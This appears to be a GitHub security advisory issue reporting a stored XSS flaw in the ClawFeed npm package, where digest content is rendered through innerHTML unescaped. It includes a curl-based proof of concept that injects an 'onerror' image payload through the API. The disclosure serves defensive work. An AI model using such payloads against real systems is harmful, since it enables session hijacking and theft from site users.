Skip to content

[SECURITY] Stored XSS via digest content rendered through innerHTML without escaping #54

@aliceQWAS

Description

@aliceQWAS

Summary

Digest content from the API is inserted directly into the DOM via innerHTML without HTML escaping. Anyone with the API key can inject arbitrary JavaScript that executes in every user's browser when they view the digest.

Details

The frontend viewer at web/index.html:773 renders digest content directly:

viewer.innerHTML = `<div class="back-btn" onclick="renderList()">${t('back')}</div>\n${text}`;

Where text is the raw content field from GET /api/digests/:id. The esc() helper function exists at line 419 but is not applied to digest content.

The digest creation endpoint at server.mjs:530-537 stores content as-is:

const result = createDigest(db, body);  // body.content stored directly in SQLite

The RSS feed output at server.mjs:387 correctly uses escXml() for descriptions, confirming the developers are aware of escaping — but the SPA frontend does not apply the same treatment.

PoC

Prerequisites: API key for the ClawFeed instance.

# Step 1: Create a digest with XSS payload
curl -X POST http://localhost:8767/api/digests \
  -H "Authorization: Bearer $API_KEY" \
  -H "Content-Type: application/json" \
  -d '{"type":"4h","content":"Text <img src=x onerror=alert(document.domain)> more text"}'

# Step 2: Verify payload stored unsanitized
curl -s http://localhost:8767/api/digests/1 | python3 -m json.tool

# Step 3: Verify it appears in the public list
curl -s "http://localhost:8767/api/digests?type=4h&limit=1" | grep -o '<img[^>]*>'

Expected output:

{"id":1,"type":"4h","content":"Text <img src=x onerror=alert(document.domain)> more text",...}

<img src=x onerror=alert(document.domain)>

In a browser, opening the digest triggers alert(document.domain).

Impact

Any holder of the API key can inject persistent JavaScript affecting all users who view digests. This enables session hijacking, keylogging, phishing via page replacement, and potential worm propagation.

Affected products

  • Ecosystem: npm
  • Package name: clawfeed
  • Affected versions: <= 0.8.1
  • Patched versions: None

Severity

  • Severity: High
  • Vector string: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Weaknesses

  • CWE-79: Improper Neutralization of Input During Web Page Generation (Stored XSS)

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions